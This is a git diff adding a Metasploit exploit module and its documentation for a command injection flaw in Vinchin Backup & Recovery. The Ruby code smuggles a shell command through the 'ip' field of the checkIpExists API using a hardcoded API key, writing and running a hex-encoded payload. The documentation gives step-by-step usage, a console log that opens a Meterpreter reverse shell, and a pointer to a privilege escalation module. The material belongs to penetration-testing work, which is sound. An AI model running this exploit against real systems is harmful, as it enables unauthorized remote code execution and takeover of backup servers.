diff --git a/documentation/modules/exploit/linux/http/vinchin_backup_recovery_cmd_inject.md b/documentation/modules/exploit/linux/http/vinchin_backup_recovery_cmd_inject.md new file mode 100644 index 000000000000..6f12b7f36b3d --- /dev/null +++ b/documentation/modules/exploit/linux/http/vinchin_backup_recovery_cmd_inject.md @@ -0,0 +1,170 @@ +## Vulnerable Application + +This module exploits a vulnerability in Vinchin Backup & Recovery versions 5.0.x, 6.0.x, 6.7.x, and 7.0.x. To prepare the environment: + +1. Download Vinchin Backup & Recovery version 5.0.x, 6.0.x, 6.7.x, or 7.0.x. +2. Install the software on a Linux-based server using the downloaded ISO. +3. During the installation, ensure that the network interface is active and configured. +4. After installation, verify that the Vinchin Backup & Recovery service is operational and accessible over the network. + +*Note: The module is designed to work with the specified versions. Functionality with other versions has not been confirmed.* + +## Verification Steps + +1. Install a vulnerable version of Vinchin Backup & Recovery (versions 5.0.x, 6.0.x, 6.7.x, or 7.0.x). +2. Start msfconsole in your Metasploit environment. +3. Do: `use exploit/linux/http/vinchin_backup_recovery_cmd_inject` +4. Set the RHOSTS to the target IP address or hostname. +5. Do: `run` +6. If the target is vulnerable, the exploit will execute the specified payload or command. + +## Options + +Here are the specific options for the `exploit/linux/http/vinchin_backup_recovery_cmd_inject` module: + +#### RHOSTS + +- **Description**: Specifies the target address or range of addresses. +- **Default Value**: None. It must be set by the user. + +#### RPORT + +- **Description**: The port on which the Vinchin Backup & Recovery service is running. +- **Default Value**: 443 (this is not configurable in the default Vinchin Backup & Recovery setup). + +#### SSL + +- **Description**: Specifies whether to use SSL for the connection. +- **Default Value**: True, as Vinchin typically runs over HTTPS. + +#### TARGETURI + +- **Description**: The base path to the Vinchin Backup & Recovery application. +- **Default Value**: `/` + +#### APIKEY + +- **Description**: The hardcoded API key required to authenticate to the API. +- **Default Value**: `6e24cc40bfdb6963c04a4f1983c8af71` + +## Scenarios + +### Successful Exploitation against Vinchin Backup & Recovery 7.0.1.26282 + +This scenario demonstrates exploiting the Vinchin Backup & Recovery version 7.0.1.26282 on a Linux server. + +**Environment**: +- Vinchin Backup & Recovery 7.0.1.26282 +- Linux Server +- Metasploit Framework + +**Steps**: + +1. Start `msfconsole`. +2. Load the exploit module: +``` +use exploit/linux/http/vinchin_backup_recovery_cmd_inject +``` +4. Set the required options: +``` +set RHOSTS [target IP] +set APIKEY [API Key] +``` +5. Optionally set a payload and configure LHOST and LPORT. +6. Execute the exploit: +``` +exploit +``` + +**Expected Output**: + +``` +msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > options + +Module options (exploit/linux/http/vinchin_backup_recovery_cmd_inject): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + APIKEY 6e24cc40bfdb6963c04a4f1983c8 yes The hardcoded API key + af71 + Proxies no A proxy chain of format type:host:port[,type:host: + port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.co + m/docs/using-metasploit/basics/using-metasploit.ht + ml + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is rando + mly generated) + TARGETURI / yes The base path to the Vinchin Backup & Recovery app + lication + URIPATH no The URI to use for this exploit (default is random + ) + VHOST no HTTP server virtual host + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an + address on the local machine or 0.0.0.0 to listen on all address + es. + SRVPORT 8080 yes The local port to listen on. + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FT + P, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME JSSwiKfcOw no Name to use on remote system when storing pa + yload; cannot contain spaces. + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR /usr/share/nginx/vinchin/ yes Remote writable dir to store payload; cannot + tmp contain spaces. + LHOST 192.168.1.5 yes The listen address (an interface may be spec + ified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > set rhosts 192.168.1.3 +rhosts => 192.168.1.3 +msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > check + +[*] Detected Vinchin version: 7.0.1.26282 +[+] 192.168.1.3:443 - The target is vulnerable. +msf6 exploit(linux/http/vinchin_backup_recovery_cmd_inject) > exploit + +[*] Started reverse TCP handler on 192.168.1.5:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Detected Vinchin version: 7.0.1.26282 +[+] The target is vulnerable. +[*] Sending stage (3045380 bytes) to 192.168.1.3 +[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.3:58960) at 2023-11-21 02:00:57 +0100 + +meterpreter > sysinfo +Computer : localhost.localdomain +OS : CentOS 7.9.2009 (Linux 3.10.0-1160.el7.x86_64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux + +``` + +Note: All instances of this exploit can be subject to privilege escalation using the +`exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` module in the Metasploit environment. diff --git a/modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb b/modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb new file mode 100644 index 000000000000..c821f39919b3 --- /dev/null +++ b/modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb @@ -0,0 +1,109 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Vinchin Backup and Recovery Command Injection', + 'Description' => %q{ + This module exploits a command injection vulnerability in Vinchin Backup & Recovery + v5.0.*, v6.0.*, v6.7.*, and v7.0.*. Due to insufficient input validation in the + checkIpExists API endpoint, an attacker can execute arbitrary commands as the + web server user. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Gregory Boddin (LeakIX)', # Vulnerability discovery + 'Valentin Lobstein' # Metasploit module + ], + 'References' => [ + ['CVE', '2023-45498'], + ['CVE', '2023-45499'], + ['URL', 'https://blog.leakix.net/2023/10/vinchin-backup-rce-chain/'], + ['URL', 'https://vinchin.com/'] # Vendor URL + ], + 'DisclosureDate' => '2023-10-26', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION ], + 'AKA' => ['Vinchin Command Injection'] + }, + 'Platform' => ['linux', 'unix'], + 'Arch' => [ARCH_CMD], + 'Targets' => [ + ['Automatic', {}] + ], + + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SSL' => true, + 'FETCH_WRITABLE_DIR' => '/usr/share/nginx/vinchin/tmp' + }, + 'Privileged' => false + ) + ) + register_options( + [ + Opt::RPORT(443), + OptString.new('TARGETURI', [true, 'The base path to the Vinchin Backup & Recovery application', '/']), + OptString.new('APIKEY', [true, 'The hardcoded API key', '6e24cc40bfdb6963c04a4f1983c8af71']), + ] + ) + end + + def exploit + hex_encoded_payload = payload.encoded.unpack('H*').first + formatted_payload = hex_encoded_payload.scan(/../).map { |x| "\\\\x#{x}" }.join + + temp_file = "#{datastore['FETCH_WRITABLE_DIR']}/#{Rex::Text.rand_text_alpha(8)}" + command = "echo -e #{formatted_payload}|tee #{temp_file};chmod 777 #{temp_file};#{temp_file};rm #{temp_file}" + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(datastore['TARGETURI'], 'api/'), + 'vars_get' => { + 'm' => '30', + 'f' => 'checkIpExists', + 'k' => datastore['APIKEY'] + }, + 'data' => "p={\"ip\":\"a||#{command}\"}" + }) + end + + def check + target_uri_path = normalize_uri(target_uri.path, 'login.php') + res = send_request_cgi('uri' => target_uri_path) + + return CheckCode::Unknown('Failed to connect to the target.') unless res + return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200 + + version_pattern = /Vinchin build: (\d+\.\d+\.\d+\.\d+)/ + version_match = res.body.match(version_pattern) + + unless version_match && version_match[1] + return CheckCode::Unknown('Unable to extract version.') + end + + version = Rex::Version.new(version_match[1]) + print_status("Detected Vinchin version: #{version}") + + if (version >= Rex::Version.new('5.0.0') && version < Rex::Version.new('5.1.0')) || + (version >= Rex::Version.new('6.0.0') && version < Rex::Version.new('6.1.0')) || + (version >= Rex::Version.new('6.7.0') && version < Rex::Version.new('6.8.0')) || + (version >= Rex::Version.new('7.0.0') && version < Rex::Version.new('7.0.2')) + return CheckCode::Appears + else + return CheckCode::Safe + end + end +end